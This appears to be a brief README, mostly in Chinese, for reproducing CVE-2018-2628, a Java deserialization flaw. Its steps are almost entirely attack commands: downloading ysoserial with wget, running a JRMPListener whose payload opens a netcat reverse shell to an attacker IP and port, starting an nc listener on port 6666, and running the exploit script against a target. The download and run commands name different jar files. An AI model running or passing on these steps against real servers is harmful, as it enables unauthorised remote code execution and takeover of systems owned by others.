CVE-2018-2628

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

CVE-2018-2628漏洞复现详细步骤：

0x01 在JRMPListener主机上运行以下命令：

wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar

java -cp ysoserial.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 [执行命令]

例如：java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 反弹ip 反弹端口'

0x02 反弹shell

在攻击者主机上启动侦听器：

nc -lvvp 6666

0x03 运行exp

在攻击者主机上运行exploit脚本：

python CVE-2018-2628   ip  port
